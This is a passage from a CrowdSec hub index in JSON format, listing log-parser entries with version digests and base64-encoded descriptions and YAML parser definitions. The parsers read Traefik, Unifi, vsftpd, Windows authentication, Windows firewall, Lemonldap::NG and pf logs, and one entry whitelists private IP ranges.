CBwYXR0ZXJuOiAnJXtVU0VSTkFNRTpodHRwX3VzZXJfYWdlbnR9JwogICAgICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAicmVxdWVzdF9Vc2VyLUFnZW50IikKICAgICAgLSBncm9rOgogICAgICAgICAgcGF0dGVybjogJyV7TlVNQkVSOmJvZHlfYnl0ZXNfc2VudH0nCiAgICAgICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJEb3duc3RyZWFtQ29udGVudFNpemUiKQogICAgICAtIGdyb2s6CiAgICAgICAgICBwYXR0ZXJuOiAnJXtOVU1CRVI6cmVxdWVzdF9kdXJhdGlvbl9pbl9tc30nCiAgICAgICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJEdXJhdGlvbiIpCiAgICAgIC0gZ3JvazoKICAgICAgICAgIHBhdHRlcm46ICcle1RSQUVGSUtfUk9VVEVSOnRyYWVmaWtfcm91dGVyX25hbWV9JwogICAgICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAiUm91dGVyTmFtZSIpCiAgICAgIC0gZ3JvazoKICAgICAgICAgIHBhdHRlcm46ICcle0dSRUVEWURBVEE6dGltZV9sb2NhbH0nCiAgICAgICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJ0aW1lIikKICAgICAgLSBncm9rOgogICAgICAgICAgcGF0dGVybjogJyV7R1JFRURZREFUQTp2ZXJifScKICAgICAgICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgIlJlcXVlc3RNZXRob2QiKQogICAgICAtIGdyb2s6CiAgICAgICAgICBwYXR0ZXJuOiAnJXtHUkVFRFlEQVRBOnJlcXVlc3R9JwogICAgICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAiUmVxdWVzdFBhdGgiKQogICAgICAtIGdyb2s6CiAgICAgICAgICBwYXR0ZXJuOiAnSFRUUC8le05VTUJFUjpodHRwX3ZlcnNpb259JwogICAgICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAiUmVxdWVzdFByb3RvY29sIikKICAgICAgLSBncm9rOgogICAgICAgICAgcGF0dGVybjogJyV7TlVNQkVSOnN0YXR1c30nCiAgICAgICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJEb3duc3RyZWFtU3RhdHVzIikKc3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiBodHRwCiAgLSBtZXRhOiBodHRwX3N0YXR1cwogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc3RhdHVzIgogIC0gbWV0YTogaHR0cF9wYXRoCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5yZXF1ZXN0IgogIC0gbWV0YTogdXNlcgogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVtb3RlX3VzZXIiCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnJlbW90ZV9hZGRyIgogIC0gbWV0YTogbG9nX3R5cGUKICAgIHZhbHVlOiBodHRwX2FjY2Vzcy1sb2cKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnRpbWVfbG9jYWwiCiAgLSBtZXRhOiB0cmFlZmlrX3JvdXRlcl9uYW1lCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50cmFlZmlrX3JvdXRlcl9uYW1lIgo=", "description": "Parse Traefik access logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/unifi-logs": { "path": "parsers/s00-raw/crowdsecurity/unifi-logs.yaml", "stage": "s00-raw", "version": "0.1", "versions": { "0.1": { "digest": "fd8bfd95085177fec395efdddf00161bcf490a2d156aabcea5fc1c2cae6f3f17", "deprecated": false } }, "long_description": "IyBVbmlmaSBzeXNsb2cgcGFyc2VyCgpUaGlzIGlzIGEgcGFyc2VyIGZvciBzeXNsb2cgbG9ncyByZWNlaXZlZCBmcm9tIGFuIFVuaWZpIGRldmljZS4KClRob3NlIGxvZ3MgYXJlIHNsaWd0aGx5IG5vbi1jb25mb3JtYW50IHRvIHRoZSBzeXNsb2cgc3RhbmRhcmQsIGhlbmNlIHRoZSBuZWVkIGZvciBhIGN1c3RvbSBwYXJzZXIuCgojIyBFeGFtcGxlIGNvbmZpZ3VyYXRpb24KCkFzIGNyb3dkc2VjIGRvZXMgbm90IHJ1biBlYXNpbHkgZGlyZWN0bHkgb24gYW4gVURNLCB5b3UnbGwgbGlrZWx5IHdhbnQgdG8gc2V0dXAgc3lzbG9nIGV4cG9ydCBvbiB5b3VyIFVETSwgYW5kIHVzZSB0aGUgZm9sbG93aW5nIGFjcXVpc2l0aW9uIGNvbmZpZzoKCmBgYApzb3VyY2U6IHN5c2xvZwpsaXN0ZW5fYWRkcjogMC4wLjAuMApsaXN0ZW5fcG9ydDogNDI0MgpsYWJlbHM6CiB0eXBlOiB1bmlmaQpgYGA=", "content": "ZmlsdGVyOiAiZXZ0LkxpbmUuTGFiZWxzLnR5cGUgPT0gJ3VuaWZpJyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCnBhdHRlcm5fc3ludGF4OgogIFNZU0xPR0JBU0VfVU5JRkk6ICcoPzole1NZU0xPR1RJTUVTVEFNUDp0aW1lc3RhbXB9fCV7VElNRVNUQU1QX0lTTzg2MDE6dGltZXN0YW1wODYwMX0pICg/OiV7U1lTTE9HRkFDSUxJVFl9ICk/JXtEQVRBOmxvZ3NvdXJjZX0rKD86ICV7U1lTTE9HUFJPR306fCknCiAgU1lTTE9HTElORV9VTklGSTogJyV7U1lTTE9HQkFTRV9VTklGSX0gJXtHUkVFRFlEQVRBOm1lc3NhZ2V9JwpuYW1lOiBjcm93ZHNlY3VyaXR5L3VuaWZpLWxvZ3MKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAiXiV7U1lTTE9HTElORV9VTklGSX0iCiAgICAgIGFwcGx5X29uOiBMaW5lLlJhdwpzdGF0aWNzOgogIC0gbWV0YTogbWFjaGluZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5sb2dzb3VyY2UKICAtIHBhcnNlZDogImxvZ3NvdXJjZSIKICAgIHZhbHVlOiAic3lzbG9nIgogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lc3RhbXAKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZXN0YW1wODYwMQogIC0gbWV0YTogZGF0YXNvdXJjZV9wYXRoCiAgICBleHByZXNzaW9uOiBldnQuTGluZS5TcmMKICAtIG1ldGE6IGRhdGFzb3VyY2VfdHlwZQogICAgZXhwcmVzc2lvbjogZXZ0LkxpbmUuTW9kdWxl", "author": "crowdsecurity", "labels": null }, "crowdsecurity/vsftpd-logs": { "path": "parsers/s01-parse/crowdsecurity/vsftpd-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "39d986c6005d2b96b8941a71ee81c4af35bd22b1094685a8b7f7fbc00e1b4f7f", "deprecated": false }, "0.2": { "digest": "a06ecb5ef08f47fd4e0d70abfa1c78a8570488c8741d660614d97354c17cc4cc", "deprecated": false }, "0.3": { "digest": "2d32b1f35244aeeaa36e66ae3f5538d2d1aa22a66cbe350b26a3845bf99de4c5", "deprecated": false } }, "long_description": "RlRQIChbdnNmdHBkXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9Wc2Z0cGQpKSBhdXRoZW50aWNhdGlvbiBmYWlsIHBhcnNlci4=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IHZzZnRwZC1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgVlNGVFBEIGxvZ3MiCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAndnNmdHBkJyIKI2RlYnVnOiB0cnVlCnBhdHRlcm5fc3ludGF4OgogICMgQ3VzdG9tIGdyb2sgZm9yIHNvbWUgdmVyc2lvbnMgdGhhdCBhZGQgYW4gZXh0cmEgc3BhY2UgYmVmb3JlIHNpbmdsZSBkaWdpdCBtb250aGRheQogICMgTm90IHBlcmZlY3QgYmVjYXVzZSBleHRyYSAsc3BhY2VzIGFyZSBub3QgdHJpbW1lZCBpbiByZXN1bHRpbmcgJ3RpbWVzdGFtcCcgY2FwdHVyZQogIENVU1RPTV9IVFRQREVSUk9SX0RBVEU6ICcle0RBWX0gJXtNT05USH0gKD86XHM/KSV7TU9OVEhEQVl9ICV7VElNRX0gJXtZRUFSfScKICBGVFBfQVVUSF9GQUlMOiAnJXtDVVNUT01fSFRUUERFUlJPUl9EQVRFOnRpbWVzdGFtcH0gXFtwaWQgJXtOVU1CRVJ9XF0gXFsle0dSRUVEWURBVEE6dXNlcn1cXSBGQUlMIExPR0lOOiBDbGllbnQgIig6OmZmZmY6KT8le0lQOnNvdXJjZV9pcH0iJwogIEZUUF9ERU5JRURfVVNFUjogJyV7Q1VTVE9NX0hUVFBERVJST1JfREFURTp0aW1lc3RhbXB9IFxbcGlkICV7TlVNQkVSfVxdIFxbJXtHUkVFRFlEQVRBOnVzZXJ9XF0gRlRQIHJlc3BvbnNlOiBDbGllbnQgIig6OmZmZmY6KT8le0lQOnNvdXJjZV9pcH0iLCAiNTMwIFBlcm1pc3Npb24gZGVuaWVkLiInCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogIiV7RlRQX0FVVEhfRkFJTH0iCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAiJXtGVFBfREVOSUVEX1VTRVJ9IgogICAgICBhcHBseV9vbjogbWVzc2FnZQpzdGF0aWNzOgogICAgLSBtZXRhOiBwcm9ncmFtCiAgICAgIHZhbHVlOiB2c2Z0cGQKICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgdmFsdWU6IGZ0cF9mYWlsZWRfYXV0aAogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2lwIgogICAgLSBtZXRhOiB1c2VyCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnVzZXIiCiAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lc3RhbXAKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZUZvcm1hdAogICAgICB2YWx1ZTogIk1vbiBKYW4gXzIgMTU6MDQ6MDUgMjAwNiIK", "description": "Parse VSFTPD logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/whitelists": { "path": "parsers/s02-enrich/crowdsecurity/whitelists.yaml", "stage": "s02-enrich", "version": "0.2", "versions": { "0.1": { "digest": "f51f41270a7ff9900d9c815beccc3ded36a1c377a6e21dd19f9d8209623789b1", "deprecated": false }, "0.2": { "digest": "326da7ad71aee690bf71c5a392ac6dbd028f502e617a8b8ed7a5c5554ecaf72c", "deprecated": false } }, "long_description": "QSBnZW5lcmljIHdoaXRlbGlzdCB0byBhdm9pZCBiYW5uaW5nIHlvdXJzZWxmLgoKIyMjIHdoaXRlbGlzdGVkIGlwczoKIC0gMTI3LjAuMC4xCiAtIDo6MQoKIyMjIHdoaXRlbGlzdGVkIHJhbmdlczoKIC0gMTkyLjE2OC4wLjAvMTYKIC0gMTAuMC4wLjAvOAogLSAxNzIuMTYuMC4wLzEyCg==", "content": "bmFtZTogY3Jvd2RzZWN1cml0eS93aGl0ZWxpc3RzCmRlc2NyaXB0aW9uOiAiV2hpdGVsaXN0IGV2ZW50cyBmcm9tIHByaXZhdGUgaXB2NCBhZGRyZXNzZXMiCndoaXRlbGlzdDoKICByZWFzb246ICJwcml2YXRlIGlwdjQvaXB2NiBpcC9yYW5nZXMiCiAgaXA6IAogICAgLSAiMTI3LjAuMC4xIgogICAgLSAiOjoxIgogIGNpZHI6CiAgICAtICIxOTIuMTY4LjAuMC8xNiIKICAgIC0gIjEwLjAuMC4wLzgiCiAgICAtICIxNzIuMTYuMC4wLzEyIgogICMgZXhwcmVzc2lvbjoKICAjICAgLSAiJ2Zvby5jb20nIGluIGV2dC5NZXRhLnNvdXJjZV9pcC5yZXZlcnNlIiAKCg==", "description": "Whitelist events from private ipv4 addresses", "author": "crowdsecurity", "labels": null }, "crowdsecurity/windows-auth": { "path": "parsers/s01-parse/crowdsecurity/windows-auth.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "deprecated": false }, "0.2": { "digest": "c0e604a0512e61cdd102c9ebc9267c3e546712f05b75a912695808a45e08dc51", "deprecated": false } }, "long_description": "QSBwYXJzZXIgZm9yIHdpbmRvd3MgYXV0aCBldmVudHMgcmVhZCBmcm9tIHRoZSBldmVudHMgbG9nLgoKT25seSBhY2NlcHRzIGV2ZW50cyB3aXRoIGZyb20gdGhlIFNlY3VyaXR5IGNoYW5uZWwgd2l0aCBJRCA0NjI1Lg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpmaWx0ZXI6ICJldnQuUGFyc2VkLkNoYW5uZWwgPT0gJ1NlY3VyaXR5JyAmJiBldnQuUGFyc2VkLkV2ZW50SUQgPT0gJzQ2MjUnIgpuYW1lOiBjcm93ZHNlY3VyaXR5L3dpbmRvd3MtYXV0aApkZXNjcmlwdGlvbjogIlBhcnNlIHdpbmRvd3MgYXV0aGVudGljYXRpb24gZmFpbHVyZSBldmVudHMgKGlkIDQ2MjUpIgpzdGF0aWNzOgogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSXBBZGRyZXNzJ10iKQogICAgLSBtZXRhOiB1c2VybmFtZQogICAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdUYXJnZXRVc2VyTmFtZSddIikKICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgdmFsdWU6IHdpbmRvd3NfZmFpbGVkX2F1dGg=", "description": "Parse windows authentication failure events (id 4625)", "author": "crowdsecurity", "labels": null }, "crowdsecurity/windows-firewall-logs": { "path": "parsers/s01-parse/crowdsecurity/windows-firewall-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "a093e7fccc9ca714c70284b7f2898a1e2c785b565fbdc63778960c07306ecf7f", "deprecated": false }, "0.2": { "digest": "44779151d40327fa5b2a882165dac19c71f47a75aa994dda0ff9190b7417ef5f", "deprecated": false }, "0.3": { "digest": "006ab41688651b1151c017f6a9da16e6ae86e74d171c9a28dbbb092ca8a38b94", "deprecated": false } }, "long_description": "CkEgcGFyc2VyIGZvciB3aW5kb3dzIGZpcmV3YWxsIGxvZ3MuCgpUaGlzIG9ubHkgaGFuZGxlcyBsb2dzIHRoYXQgY29udGFpbnMgYm90aCBgRFJPUGAgYW5kIGBSRUNFSVZFYCB0byBhdm9pZCBmYWxzZSBwb3NpdGl2ZXMgZm9yIG91dGdvaW5nIHRyYWZmaWMgb3IgbG9nZ2luZyBmb3Igc3VjY2Vzc2Z1bCBjb25uZWN0aW9ucy4KCllvdSBuZWVkIHRvIGVuYWJsZSBsb2dnaW5nIGZvciBkcm9wcGVkIHBhY2tldHMgKG9mZiBieSBkZWZhdWx0KTogaHR0cHM6Ly9kb2NzLm1pY3Jvc29mdC5jb20vZW4tdXMvd2luZG93cy9zZWN1cml0eS90aHJlYXQtcHJvdGVjdGlvbi93aW5kb3dzLWZpcmV3YWxsL2NvbmZpZ3VyZS10aGUtd2luZG93cy1maXJld2FsbC1sb2cKCkZvcm1hdCBpczoKYGBgCiNGaWVsZHM6IGRhdGUgdGltZSBhY3Rpb24gcHJvdG9jb2wgc3JjLWlwIGRzdC1pcCBzcmMtcG9ydCBkc3QtcG9ydCBzaXplIHRjcGZsYWdzIHRjcHN5biB0Y3BhY2sgdGNwd2luIGljbXB0eXBlIGljbXBjb2RlIGluZm8gcGF0aCBwaWQKMjAyMi0wMS0zMSAxMjoyNDo1MSBEUk9QIFRDUCAxOTIuMTY4LjkuMTYzIDE5Mi4xNjguOS4yMTIgNjM2MTkgNDQ1IDY0IFMgMTAzMTM2NTg1NSAwIDY1NTM1IC0gLSAtIFJFQ0VJVkUgNApgYGA=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnd2luZG93cy1maXJld2FsbCcgYW5kIGV2dC5QYXJzZWQubWVzc2FnZSBjb250YWlucyAnIERST1AgVENQICcgYW5kIGV2dC5QYXJzZWQubWVzc2FnZSBjb250YWlucyAnIFJFQ0VJVkUnIgpuYW1lOiBjcm93ZHNlY3VyaXR5L3dpbmRvd3MtZmlyZXdhbGwtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIHdpbmRvd3MgZmlyZXdhbGwgZHJvcCBsb2dzIgpncm9rOgogIHBhdHRlcm46ICIle1RJTUVTVEFNUF9JU084NjAxOmRhdGV9IERST1AgVENQICV7SVA6c3JjX2lwfSAle0lQOmRzdF9pcH0gJXtJTlQ6c3JjX3BvcnR9ICV7SU5UOmRzdF9wb3J0fSAle0lOVDpzaXplfSAle1dPUkQ6ZmxhZ3N9ICV7SU5UOnRjcHN5bn0gJXtJTlQ6dGNwYWNrfSAle0lOVDp3aW5kb3d9IC0gLSAtIFJFQ0VJVkUoICV7SU5UOnBpZH0pPyIgCiAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogdGNwCiAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgIHZhbHVlOiBpcHRhYmxlc19kcm9wCiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zcmNfaXAiCiAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCgo=", "description": "Parse windows firewall drop logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/windows-logs": { "path": "parsers/s00-raw/crowdsecurity/windows-logs.yaml", "stage": "s00-raw", "version": "0.4", "versions": { "0.1": { "digest": "f51a9f48a321f6935c44515ee8ec312d7771a6ced5bf63d9ab8dede2a3b77e9d", "deprecated": false }, "0.2": { "digest": "65d086df4579e371213259dffdf4ff22b27a107a4200327b0b86b5605fed4d43", "deprecated": false }, "0.3": { "digest": "686608f2d4fb9813b41bd8a1d8683a0a2ee69ff453b6dfd2905e27e1d38634d2", "deprecated": false }, "0.4": { "digest": "800aad4d3be5717d2c389a774462b54eb8ccd2f23755e328fb7d8865f426fa67", "deprecated": false } }, "content": "ZmlsdGVyOiAiZXZ0LkxpbmUuTW9kdWxlID09ICd3aW5ldmVudGxvZyciCm9uc3VjY2VzczogbmV4dF9zdGFnZQpuYW1lOiBjcm93ZHNlY3VyaXR5L3dpbmRvd3MtZXZlbnRsb2cKc3RhdGljczoKICAtIG1ldGE6IGRhdGFzb3VyY2VfcGF0aAogICAgZXhwcmVzc2lvbjogZXZ0LkxpbmUuU3JjCiAgLSBtZXRhOiBkYXRhc291cmNlX3R5cGUKICAgIGV4cHJlc3Npb246IGV2dC5MaW5lLk1vZHVsZQogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgI1dlIG5lZWQgWE1MR2V0QXR0cmlidXRlVmFsdWUgYmVjYXVzZSBldHJlZSBkb2VzIG5vdCBzdXBwb3J0IGdldHRpbmcgYW4gYXR0cmlidXRlIHZhbHVlIChvciBhdCBsZWFzdCwgaSBkaWRuJ3QgbWFuYWdlIHRvIG1ha2UgdGhlIGNvcnJlY3QgcXVlcnkpCiAgICBleHByZXNzaW9uOiBYTUxHZXRBdHRyaWJ1dGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvU3lzdGVtWzFdL1RpbWVDcmVhdGVkIiwgIlN5c3RlbVRpbWUiKQogIC0gcGFyc2VkOiBDaGFubmVsCiAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L1N5c3RlbVsxXS9DaGFubmVsIikKICAtIHBhcnNlZDogRXZlbnRJRAogICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9TeXN0ZW1bMV0vRXZlbnRJRCIpCiAgLSBwYXJzZWQ6IFNvdXJjZQogICAgZXhwcmVzc2lvbjogWE1MR2V0QXR0cmlidXRlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L1N5c3RlbVsxXS9Qcm92aWRlciIsICJOYW1lIikKICAtIHBhcnNlZDogQ29tcHV0ZXIKICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvU3lzdGVtWzFdL0NvbXB1dGVyIikKICAtIHBhcnNlZDogVXNlclNJRAogICAgZXhwcmVzc2lvbjogWE1MR2V0QXR0cmlidXRlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L1N5c3RlbVsxXS9TZWN1cml0eSIsICJVc2VySUQiKQogIC0gcGFyc2VkOiBwcm9ncmFtCiAgICBleHByZXNzaW9uOiBldnQuTGluZS5MYWJlbHMudHlwZQotLS0KZmlsdGVyOiAiZXZ0LkxpbmUuTW9kdWxlICE9ICd3aW5ldmVudGxvZyciCm9uc3VjY2VzczogbmV4dF9zdGFnZQpuYW1lOiBjcm93ZHNlY3VyaXR5L3dpbmRvd3Mtbm9uLWV2ZW50bG9nCnN0YXRpY3M6CiAgLSBwYXJzZWQ6IG1lc3NhZ2UKICAgIGV4cHJlc3Npb246IGV2dC5MaW5lLlJhdwogIC0gcGFyc2VkOiBwcm9ncmFtCiAgICBleHByZXNzaW9uOiBldnQuTGluZS5MYWJlbHMudHlwZQogIC0gbWV0YTogZGF0YXNvdXJjZV9wYXRoCiAgICBleHByZXNzaW9uOiBldnQuTGluZS5TcmMKICAtIG1ldGE6IGRhdGFzb3VyY2VfdHlwZQogICAgZXhwcmVzc2lvbjogZXZ0LkxpbmUuTW9kdWxlCgo=", "author": "crowdsecurity", "labels": null }, "firewallservices/lemonldap-ng": { "path": "parsers/s01-parse/firewallservices/lemonldap-ng.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "c83b26a572bdb7ea16dcc004729dff7977aa5293466fba834bb7e2d740526ec1", "deprecated": false } }, "long_description": "UGFyc2VzIExlbW9ubGRhcDo6TkcgbG9ncyBhbmQgZGV0ZWN0cyBmYWlsZWQgYXV0aGVudGljYXRpb24uIE9ubHkgd29ya2luZyBpZiB1c2luZyBhbiBMREFQIG9yIEFEIGF1dGhlbnRpY2F0aW9uIGJhY2tlbmQgZm9yIG5vdy4K", "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIGluIFsnTExORycsJ2xlbW9ubGRhcC1uZyddIgpuYW1lOiBmaXJld2FsbC1zZXJ2aWNlcy9sZW1vbmxkYXAtbmctbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIExlbW9ubGRhcDo6TkcgbG9ncyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46IChcW3dhcm5cXXxMZW1vbmxkYXA6Ok5HIDopICV7VVNFUk5BTUU6dXNlcn0gd2FzIG5vdCBmb3VuZCBpbiBMREFQIGRpcmVjdG9yeSBcKCV7SVA6c3JjX2lwfVwpCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAoXFt3YXJuXF18TGVtb25sZGFwOjpORyA6KSBCYWQgcGFzc3dvcmQgZm9yICV7VVNFUk5BTUU6dXNlcn0gXCgle0lQOnNyY19pcH1cKQogICAgICBhcHBseV9vbjogbWVzc2FnZQpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGxsbmcKICAtIG1ldGE6IHVzZXIKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnVzZXIiCiAgLSBtZXRhOiBsb2dfdHlwZQogICAgdmFsdWU6IGxsbmdfYXV0aF9mYWlsCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNyY19pcCIK", "description": "Parse Lemonldap::NG logs", "author": "firewallservices", "labels": null }, "firewallservices/pf-logs": { "path": "parsers/s01-parse/firewallservices/pf-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "2c0bd0180b9e018fea93d65782840ddd6927c1992072734b68cd03b9877d6529", "deprecated": false }, "0.2": { "digest": "51ce3d1dcda6976e95bffc259e7476b2d1e0dfeb3898c4575739622102780279", "deprecated": false } }, "long_description": "VGhpcyB3aWxsIHBhcnNlIHlvdXIgcGFja2V0IGZpbHRlciBsb2dzLiBUZXN0ZWQgd2l0aCBQZlNlbnNlLCBzZW5kaW5nIGl0cyBsb2cgdG8gYSByZW1vdGUgc3lzbG9nIHNlcnZlciwgd2hlcmUgY3Jvd2RzZWMgY2FuIHBhcnNlIHRoZW0uCg==", "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdmaWx0ZXJsb2cnIG9yIGV2dC5QYXJzZWQubWVzc2FnZSBtYXRjaGVzICdeZmlsdGVybG9nOiciCm5hbWU6IGZpcmV3YWxsc2VydmljZXMvcGYtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIHBhY2tldCBmaWx0ZXIgbG9ncyIKZm9ybWF0OiAyLjAKcGF0dGVybl9zeW50YXg6CiAgUEZfVURQX0RBVEE6ICcle0lOVDpzcmNfcG9ydH0sJXtJTlQ6ZHN0X3BvcnR9LCV7SU5UOmRhdGFfbGVuZ3RofScKICBQRl9UQ1BfREFUQTogJyV7UEZfVURQX0RBVEF9LCV7V09SRDp0Y3BfZmxhZ3N9LCV7SU5UOnNlcXVlbmNlX251bWJlcn0sJXtJTlQ6YWNrX251bWJlcn0sJXtJTlQ6dGNwX3dpbmRvd30sJXtEQVRBOnVyZ19kYXRhfSwle0RBVEE6dGNwX29wdGlvbnN9JwogIFBGX1BST1RPQ09MX0RBVEE6ICcoJXtQRl9UQ1BfREFUQX18JXtQRl9VRFBfREFUQX0pJwogIFBGX0lQX0RBVEE6ICcle0lOVDpsZW5ndGh9LCV7SVA6c3JjX2lwfSwle0lQOmRzdF9pcH0sJwogIFBGX0lQdjRfREFUQTogJyV7QkFTRTE2TlVNOmlwNF90b3N9LCwle0lOVDppcDRfdHRsfSwle0lOVDppcDRfaWR9LCV7SU5UOmlwNF9vZmZzZXR9LCV7V09SRDppcDRfZmxhZ3N9LCV7SU5UOmlwNF9wcm90b19pZH0sJXtXT1JEOmlwNF9wcm90b30sJwogIFBGX0lQdjZfREFUQTogJyV7QkFTRTE2TlVNOmlwNl9jbGFzc30sJXtEQVRBOmlwNl9mbG93X2xhYmVsfSwle0lOVDppcDZfaG9wX2xpbWl0fSwle1dPUkQ6aXA2X3Byb3RvfSwle0lOVDppcDZfcHJvdG9faWR9LCcKICBQRl9JUF9TUEVDSUZJQ19EQVRBOiAnKCV7UEZfSVB2NF9EQVRBfXwle1BGX0lQdjZfREFUQX0pJwogIFBGX0xPR19EQVRBOiAnJXtJTlQ6cnVsZX0sKCV7SU5UOnN1Yl9ydWxlfSk/LCwle0lOVDp0cmFja2VyfSwle0RBVEE6aWZhY2V9LCV7V09SRDpyZWFzb259LCV7V09SRDphY3Rpb259LCV7V09SRDpkaXJlY3Rpb259LCV7SU5UOmlwX3Zlcn0sJwogIFBGX0ZJTFRFUkxPRzogJyV7UEZfTE9HX0RBVEF9JXtQRl9JUF9TUEVDSUZJQ19EQVRBfSV7UEZfSVBfREFUQX0le1BGX1BST1RPQ09MX0RBVEF9Jwpncm9rOgogIHBhdHRlcm46ICIle1BGX0ZJTFRFUkxPR30iCiAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogcGYKLS0tCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdwZicgYW5kIGV2dC5QYXJzZWQuYWN0aW9uID09ICdibG9jayciCm5hbWU6IGZpcmV3YWxsc2VydmljZXMvcGYtbG9ncy1kcm9wCmRlc2NyaXB0aW9uOiAiSWRlbnRpZnkgZHJvcHBlZCBwYWNrZXRzIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UK